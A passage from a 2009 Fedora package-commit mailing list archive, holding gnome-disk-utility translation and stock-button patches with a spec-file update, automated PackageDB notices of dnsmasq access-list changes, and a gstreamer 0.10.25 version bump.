 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/palimpsest/gdu-section-partition.c b/src/palimpsest/gdu-section-partition.c
index 2be2f75..f545bde 100644
--- a/src/palimpsest/gdu-section-partition.c
+++ b/src/palimpsest/gdu-section-partition.c
@@ -603,16 +603,16 @@ gdu_section_partition_init (GduSectionPartition *section)
         gtk_box_set_spacing (GTK_BOX (button_box), 6);
         gtk_box_pack_start (GTK_BOX (vbox2), button_box, TRUE, TRUE, 0);
 
-        button = gtk_button_new_with_mnemonic ("_Delete");
+        button = gtk_button_new_from_stock (GTK_STOCK_DELETE);
         gtk_widget_set_tooltip_text (button, _("Delete the partition"));
         g_signal_connect (button, "clicked", G_CALLBACK (on_delete_partition_clicked), section);
         gtk_container_add (GTK_CONTAINER (button_box), button);
 
-        button = gtk_button_new_with_mnemonic (_("_Revert"));
+        button = gtk_button_new_from_stock (GTK_STOCK_REVERT_TO_SAVED);
         section->priv->modify_part_revert_button = button;
         gtk_container_add (GTK_CONTAINER (button_box), button);
 
-        button = gtk_button_new_with_mnemonic ("_Apply");
+        button = gtk_button_new_from_stock (GTK_STOCK_APPLY);
         gtk_widget_set_tooltip_text (button, _("Apply the changes made"));
         g_signal_connect (button, "clicked", G_CALLBACK (on_modify_partition_apply_clicked), section);
         section->priv->modify_part_apply_button = button;
-- 
1.6.5.rc2


0002-Fix-library-translations.patch:
 gdu-gtk/gdu-ata-smart-dialog.c |    2 +-
 gdu-gtk/gdu-gtk.c              |    2 +-
 gdu-gtk/gdu-pool-tree-model.c  |    2 +-
 gdu-gtk/gdu-pool-tree-view.c   |    2 +-
 gdu-gtk/gdu-time-label.c       |    2 +-
 gdu/gdu-device.c               |    2 +-
 gdu/gdu-drive.c                |    2 +-
 gdu/gdu-known-filesystem.c     |    2 +-
 gdu/gdu-linux-md-drive.c       |    2 +-
 gdu/gdu-presentable.c          |    2 +-
 gdu/gdu-process.c              |    2 +-
 gdu/gdu-util.c                 |    2 +-
 gdu/gdu-volume-hole.c          |    2 +-
 gdu/gdu-volume.c               |    3 +--
 14 files changed, 14 insertions(+), 15 deletions(-)

--- NEW FILE 0002-Fix-library-translations.patch ---
>From 2a7f05ded6e0a6791c0f307edd269cd7b9e273a0 Mon Sep 17 00:00:00 2001
From: Matthias Clasen <mclasen at redhat.com>
Date: Mon, 5 Oct 2009 11:52:33 -0400
Subject: [PATCH 2/4] Fix library translations

Use gi18n-lib.h in source files which get compiled into libraries.
Fixed bug 597424.
---
 src/gdu-gtk/gdu-ata-smart-dialog.c |    2 +-
 src/gdu-gtk/gdu-gtk.c              |    2 +-
 src/gdu-gtk/gdu-pool-tree-model.c  |    2 +-
 src/gdu-gtk/gdu-pool-tree-view.c   |    2 +-
 src/gdu-gtk/gdu-time-label.c       |    2 +-
 src/gdu/gdu-device.c               |    2 +-
 src/gdu/gdu-drive.c                |    2 +-
 src/gdu/gdu-known-filesystem.c     |    2 +-
 src/gdu/gdu-linux-md-drive.c       |    2 +-
 src/gdu/gdu-presentable.c          |    2 +-
 src/gdu/gdu-process.c              |    2 +-
 src/gdu/gdu-util.c                 |    2 +-
 src/gdu/gdu-volume-hole.c          |    2 +-
 src/gdu/gdu-volume.c               |    2 +-
 14 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/src/gdu-gtk/gdu-ata-smart-dialog.c b/src/gdu-gtk/gdu-ata-smart-dialog.c
index 164faa2..d1f64c3 100644
--- a/src/gdu-gtk/gdu-ata-smart-dialog.c
+++ b/src/gdu-gtk/gdu-ata-smart-dialog.c
@@ -20,7 +20,7 @@
  */
 
 #include <config.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <atasmart.h>
 #include <glib/gstdio.h>
 #include <sys/types.h>
diff --git a/src/gdu-gtk/gdu-gtk.c b/src/gdu-gtk/gdu-gtk.c
index b43228d..6181b42 100644
--- a/src/gdu-gtk/gdu-gtk.c
+++ b/src/gdu-gtk/gdu-gtk.c
@@ -22,7 +22,7 @@
 #include <config.h>
 #include <glib-object.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <gnome-keyring.h>
 #include <dbus/dbus-glib.h>
 
diff --git a/src/gdu-gtk/gdu-pool-tree-model.c b/src/gdu-gtk/gdu-pool-tree-model.c
index a53d0e4..127ef16 100644
--- a/src/gdu-gtk/gdu-pool-tree-model.c
+++ b/src/gdu-gtk/gdu-pool-tree-model.c
@@ -21,7 +21,7 @@
  */
 
 #include <config.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <string.h>
 
 #include "gdu-gtk.h"
diff --git a/src/gdu-gtk/gdu-pool-tree-view.c b/src/gdu-gtk/gdu-pool-tree-view.c
index 05ec317..c7ad913 100644
--- a/src/gdu-gtk/gdu-pool-tree-view.c
+++ b/src/gdu-gtk/gdu-pool-tree-view.c
@@ -21,7 +21,7 @@
  */
 
 #include <config.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <string.h>
 
 #include "gdu-pool-tree-view.h"
diff --git a/src/gdu-gtk/gdu-time-label.c b/src/gdu-gtk/gdu-time-label.c
index ffc055a..27d1c67 100644
--- a/src/gdu-gtk/gdu-time-label.c
+++ b/src/gdu-gtk/gdu-time-label.c
@@ -20,7 +20,7 @@
  */
 
 #include <config.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <string.h>
 
 #include "gdu-time-label.h"
diff --git a/src/gdu/gdu-device.c b/src/gdu/gdu-device.c
index 81f7eaa..184f424 100644
--- a/src/gdu/gdu-device.c
+++ b/src/gdu/gdu-device.c
@@ -22,7 +22,7 @@
 #include <config.h>
 #include <stdlib.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 #include <time.h>
 #include <unistd.h>
diff --git a/src/gdu/gdu-drive.c b/src/gdu/gdu-drive.c
index 2858776..c9666d8 100644
--- a/src/gdu/gdu-drive.c
+++ b/src/gdu/gdu-drive.c
@@ -22,7 +22,7 @@
 #include <config.h>
 #include <stdlib.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 
 #include "gdu-private.h"
diff --git a/src/gdu/gdu-known-filesystem.c b/src/gdu/gdu-known-filesystem.c
index f744116..df1f98b 100644
--- a/src/gdu/gdu-known-filesystem.c
+++ b/src/gdu/gdu-known-filesystem.c
@@ -21,7 +21,7 @@
 
 #include <config.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 #include <stdlib.h>
 
diff --git a/src/gdu/gdu-linux-md-drive.c b/src/gdu/gdu-linux-md-drive.c
index 981582c..4338929 100644
--- a/src/gdu/gdu-linux-md-drive.c
+++ b/src/gdu/gdu-linux-md-drive.c
@@ -21,7 +21,7 @@
 
 #include <config.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 
 #include "gdu-private.h"
diff --git a/src/gdu/gdu-presentable.c b/src/gdu/gdu-presentable.c
index 6f38998..b9e1979 100644
--- a/src/gdu/gdu-presentable.c
+++ b/src/gdu/gdu-presentable.c
@@ -21,7 +21,7 @@
 
 #include <config.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 
 #include "gdu-presentable.h"
diff --git a/src/gdu/gdu-process.c b/src/gdu/gdu-process.c
index e8ab67b..78d6806 100644
--- a/src/gdu/gdu-process.c
+++ b/src/gdu/gdu-process.c
@@ -22,7 +22,7 @@
 #include <config.h>
 #include <stdlib.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 #include <time.h>
 #include <gio/gdesktopappinfo.h>
diff --git a/src/gdu/gdu-util.c b/src/gdu/gdu-util.c
index 7bf22d5..77eae3a 100644
--- a/src/gdu/gdu-util.c
+++ b/src/gdu/gdu-util.c
@@ -22,7 +22,7 @@
 #include <config.h>
 #include <glib-object.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <gnome-keyring.h>
 #include <dbus/dbus-glib.h>
 
diff --git a/src/gdu/gdu-volume-hole.c b/src/gdu/gdu-volume-hole.c
index 11c8564..0c65c59 100644
--- a/src/gdu/gdu-volume-hole.c
+++ b/src/gdu/gdu-volume-hole.c
@@ -21,7 +21,7 @@
 
 #include <config.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 #include <stdlib.h>
 
diff --git a/src/gdu/gdu-volume.c b/src/gdu/gdu-volume.c
index e4504ab..2a7efbe 100644
--- a/src/gdu/gdu-volume.c
+++ b/src/gdu/gdu-volume.c
@@ -21,7 +21,7 @@
 
 #include <config.h>
 #include <string.h>
-#include <glib/gi18n.h>
+#include <glib/gi18n-lib.h>
 #include <dbus/dbus-glib.h>
 #include <stdlib.h>
 
-- 
1.6.5.rc2


0003-Use-translated-string-for-button-label.patch:
 gdu-section-filesystem.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0003-Use-translated-string-for-button-label.patch ---
>From 6d128c42fa438054daf2cd3589a14aeb7adec19d Mon Sep 17 00:00:00 2001
From: Matthias Clasen <mclasen at redhat.com>
Date: Mon, 5 Oct 2009 12:42:37 -0400
Subject: [PATCH 3/4] Use translated string for button label

This was already translated, so no new string.
---
 src/palimpsest/gdu-section-filesystem.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/palimpsest/gdu-section-filesystem.c b/src/palimpsest/gdu-section-filesystem.c
index a48c428..e43ba20 100644
--- a/src/palimpsest/gdu-section-filesystem.c
+++ b/src/palimpsest/gdu-section-filesystem.c
@@ -242,7 +242,7 @@ gdu_section_filesystem_init (GduSectionFilesystem *section)
         gtk_label_set_mnemonic_widget (GTK_LABEL (label), entry);
         section->priv->modify_fs_label_entry = entry;
 
-        button = gtk_button_new_with_mnemonic ("_Change");
+        button = gtk_button_new_with_mnemonic (_("_Change"));
         gtk_widget_set_tooltip_text (button, _("Change"));
         g_signal_connect (button, "clicked", G_CALLBACK (on_change_clicked), section);
         section->priv->modify_button = button;
-- 
1.6.5.rc2


0004-Translate-file-system-types.patch:
 gdu-gtk/gdu-gtk.c |    2 +-
 gdu/gdu-util.c    |    3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE 0004-Translate-file-system-types.patch ---
>From 9d44af4bcb779b98c53d358cdebb3625c06b8e33 Mon Sep 17 00:00:00 2001
From: Matthias Clasen <mclasen at redhat.com>
Date: Mon, 5 Oct 2009 12:31:28 -0400
Subject: [PATCH 4/4] Translate file system types

See bug 596230, patch by Gabor Kelemen.
---
 src/gdu-gtk/gdu-gtk.c |    2 +-
 src/gdu/gdu-util.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/gdu-gtk/gdu-gtk.c b/src/gdu-gtk/gdu-gtk.c
index 6181b42..dcbde30 100644
--- a/src/gdu-gtk/gdu-gtk.c
+++ b/src/gdu-gtk/gdu-gtk.c
@@ -1405,7 +1405,7 @@ part_type_foreach_cb (const char *scheme,
         gtk_list_store_append (data->store, &iter);
         gtk_list_store_set (data->store, &iter,
                             0, type,
-                            1, name,
+                            1, _(name),
                             -1);
 }
 
diff --git a/src/gdu/gdu-util.c b/src/gdu/gdu-util.c
index 77eae3a..2d9d2a9 100644
--- a/src/gdu/gdu-util.c
+++ b/src/gdu/gdu-util.c
@@ -478,7 +478,7 @@ gdu_util_get_desc_for_part_type (const char *scheme, const char *type)
 
         for (n = 0; part_type[n].name != NULL; n++) {
                 if (g_ascii_strcasecmp (part_type[n].type, type) == 0)
-                        return g_strdup (part_type[n].name);
+                        return g_strdup (_(part_type[n].name));
         }
 
         /* Translators: Shown for unknown partition types.
-- 
1.6.5.rc2



Index: gnome-disk-utility.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-disk-utility/F-12/gnome-disk-utility.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- gnome-disk-utility.spec	5 Oct 2009 15:27:25 -0000	1.21
+++ gnome-disk-utility.spec	5 Oct 2009 16:54:28 -0000	1.22
@@ -40,8 +40,11 @@ Requires: %{name}-libs = %{version}-%{re
 Obsoletes: gnome-disk-utility-format
 Obsoletes: nautilus-gdu
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=597405
-Patch0: button-translations.patch
+# from the gnome-2-28 branch
+Patch0: 0001-Use-stock-delete-and-apply-buttons.patch
+Patch1: 0002-Fix-library-translations.patch
+Patch3: 0003-Use-translated-string-for-button-label.patch
+Patch4: 0004-Translate-file-system-types.patch
 
 %description
 This package contains the Palimpsest disk management application.
@@ -97,7 +100,10 @@ develop applications with gnome-disk-uti
 
 %prep
 %setup -q
-%patch0 -p1 -b .button-translations
+%patch0 -p1 -b .use-stock-delete-and-apply-buttons
+%patch1 -p1 -b fix-library-translations
+%patch2 -p1 -b use-translated-string-for-button-label
+%patch3 -p1 -b translate-file-system-types
 
 %build
 %configure
@@ -215,7 +221,7 @@ fi
 
 %changelog
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3%{?dist}
-- Fix some untranslated buttons
+- Incorporate fixes for translation issues from the stable upstream branch
 
 * Fri Sep 18 2009 David Zeuthen <davidz at redhat.com> - 2.28.0-2%{?dist}
 - BR libatasmart-devel



From pkgdb at fedoraproject.org  Mon Oct  5 16:57:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:57:54 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165754.E68E610F871@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora devel) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:57:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:57:58 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165758.411A610F892@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora devel) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:01 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165801.654B010F871@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora devel) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:28 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165828.4977210F871@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora devel) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:31 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165831.1E5DD10F89C@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora devel) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:29 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165829.C03E910F892@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora devel) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:32 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165832.61C7F10F871@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora devel) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:33 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165833.E554E10F8A4@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora devel) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:36 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165836.9196010F88F@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora devel) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:58:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:58:47 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165847.3A8FF10F88E@bastion2.fedora.phx.redhat.com>

jima has set the approveacls acl on dnsmasq (Fedora devel) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:01 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165901.D70A810F892@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora 12) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:03 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165903.5F2FE10F89C@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora 12) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:05 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165905.2C64A10F88E@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora 12) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:05 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165905.954D710F8A4@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora 12) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:06 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165906.C44EE10F8A9@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora 12) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:07 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165908.07F0510F8AD@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora 12) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:10 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165910.183F910F894@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora 12) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:12 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165912.2AEF610F88E@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora 12) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:14 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165914.1DD0410F8A3@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora 12) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:16 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165916.238EF10F88F@bastion2.fedora.phx.redhat.com>

jima has set the approveacls acl on dnsmasq (Fedora 12) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:22 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165922.6B09C10F894@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora 11) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:24 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165924.D87E310F8A2@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora 11) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:26 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165926.4594F10F8AC@bastion2.fedora.phx.redhat.com>

jima has set the watchbugzilla acl on dnsmasq (Fedora 11) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:27 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165927.163E610F8B0@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora 11) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:28 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165928.A4E5A10F88F@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora 11) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:30 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165930.F32E110F8A4@bastion2.fedora.phx.redhat.com>

jima has set the watchcommits acl on dnsmasq (Fedora 11) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:32 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165932.8863E10F894@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora 11) to Approved for itamarjp

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:34 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165934.1B5F210F8A8@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora 11) to Approved for markmc

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:35 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165935.BC8B410F8B8@bastion2.fedora.phx.redhat.com>

jima has set the commit acl on dnsmasq (Fedora 11) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From pkgdb at fedoraproject.org  Mon Oct  5 16:59:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 16:59:37 +0000
Subject: [pkgdb] dnsmasq had acl change status
Message-ID: <20091005165937.8DF8C10F8A2@bastion2.fedora.phx.redhat.com>

jima has set the approveacls acl on dnsmasq (Fedora 11) to Approved for veillard

To make changes to this package see:
  /pkgdb/packages/name/dnsmasq



From hadess at fedoraproject.org  Mon Oct  5 17:02:13 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 17:02:13 +0000 (UTC)
Subject: rpms/gstreamer/F-12 .cvsignore, 1.42, 1.43 gstreamer.spec, 1.104,
	1.105 sources, 1.43, 1.44
Message-ID: <20091005170213.D3E5F11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6644

Modified Files:
	.cvsignore gstreamer.spec sources 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
- Update to 0.10.25



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/F-12/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	5 Aug 2009 12:43:19 -0000	1.42
+++ .cvsignore	5 Oct 2009 17:02:13 -0000	1.43
@@ -1 +1 @@
-gstreamer-0.10.24.tar.bz2
+gstreamer-0.10.25.tar.bz2


Index: gstreamer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/F-12/gstreamer.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- gstreamer.spec	5 Aug 2009 12:43:19 -0000	1.104
+++ gstreamer.spec	5 Oct 2009 17:02:13 -0000	1.105
@@ -5,7 +5,7 @@
 %define 	_libxml2	2.4.0
 
 Name: 		%{gstreamer}
-Version: 	0.10.24
+Version: 	0.10.25
 Release: 	1%{?dist}
 Summary: 	GStreamer streaming media framework runtime
 
@@ -211,6 +211,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_sysconfdir}/rpm/macros.gstreamer
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
+- Update to 0.10.25
+
 * Wed Aug 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24-1
 - Update to 0.10.24
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/F-12/sources,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- sources	5 Aug 2009 12:43:19 -0000	1.43
+++ sources	5 Oct 2009 17:02:13 -0000	1.44
@@ -1 +1 @@
-178d3326c96c360c9a15751bd5d73a6c  gstreamer-0.10.24.tar.bz2
+88544e034a051baf472983791d233076  gstreamer-0.10.25.tar.bz2



From kasal at fedoraproject.org  Mon Oct  5 17:04:19 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 17:04:19 +0000 (UTC)
Subject: rpms/perl-File-Which/devel .cvsignore, 1.2, 1.3 perl-File-Which.spec,
	1.8, 1.9 sources, 1.2, 1.3
Message-ID: <20091005170419.709A811C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-File-Which/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7943

